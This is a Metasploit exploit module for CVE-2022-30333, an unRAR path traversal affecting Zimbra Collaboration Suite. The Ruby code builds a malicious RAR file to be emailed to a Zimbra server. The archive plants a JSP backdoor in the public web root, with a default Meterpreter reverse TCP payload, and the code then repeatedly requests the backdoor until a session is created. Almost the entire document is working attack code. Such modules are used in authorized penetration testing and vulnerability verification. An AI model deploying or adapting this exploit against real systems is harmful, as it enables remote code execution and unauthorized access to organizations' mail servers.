## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::Format::RarSymlinkPathTraversal def initialize(info = {}) super( update_info( info, 'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)', 'Description' => %q{ This module creates a RAR file that can be emailed to a Zimbra server to exploit CVE-2022-30333. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in unRAR that can extract an arbitrary file to an arbitrary location on a Linux system. This issue is exploitable on the following versions of Zimbra, provided UnRAR version 6.11 or earlier is installed: * Zimbra Collaboration 9.0.0 Patch 24 (and earlier) * Zimbra Collaboration 8.8.15 Patch 31 (and earlier) }, 'Author' => [ 'Simon Scannell', # Discovery / initial disclosure (via Sonar) 'Ron Bowes', # Analysis, PoC, and module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2022-30333'], ['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'], ['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'], ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'], ['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'], ['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'], ], 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Zimbra Collaboration Suite', {} ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/', 'TARGET_FILENAME' => nil, 'DisablePayloadHandler' => false, 'RPORT' => 443, 'SSL' => true }, 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultTarget' => 0, 'Privileged' => false, 'DisclosureDate' => '2022-06-28', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']), # Separating the path, filename, and extension allows us to randomize the filename OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']), OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: .jsp).']), ] ) register_advanced_options( [ OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']), OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]), # Took this from multi/handler OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]), OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ]) ] ) end # Generate an on-system filename using datastore options def generate_target_filename if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp') print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?') end File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp") end # Normalize the path traversal and figure out where it is relative to the web root def zimbra_get_public_path(target_filename) # Normalize the path normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath # Figure out where it is, relative to the webroot webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/') relative_path = normalized_path.relative_path_from(webroot) # Hopefully, we found a path from the webroot to the payload! if relative_path.to_s.start_with?('../') return nil end relative_path end def exploit print_status('Encoding the payload as a .jsp file') payload = Msf::Util::EXE.to_jsp(generate_payload_exe) # Create a file target_filename = generate_target_filename print_status("Target filename: #{target_filename}") begin rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload) rescue StandardError => e fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}") end file_create(rar) print_good('File created! Email the file above to any user on the target Zimbra server') # Bail if they don't want the payload triggered return unless datastore['TRIGGER_PAYLOAD'] # Get the public path for triggering the vulnerability, terminate if we # can't figure it out public_filename = zimbra_get_public_path(target_filename) if public_filename.nil? print_warning('Could not determine the public web path, disabling payload triggering') return end register_file_for_cleanup(target_filename) interval = datastore['CheckInterval'].to_i print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...") # This loop is mostly from `multi/handler` stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i timeout = datastore['ListenerTimeout'].to_i loop do break if session_created? break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(public_filename) ) unless res fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload') end Rex::ThreadSafe.sleep(interval) end end end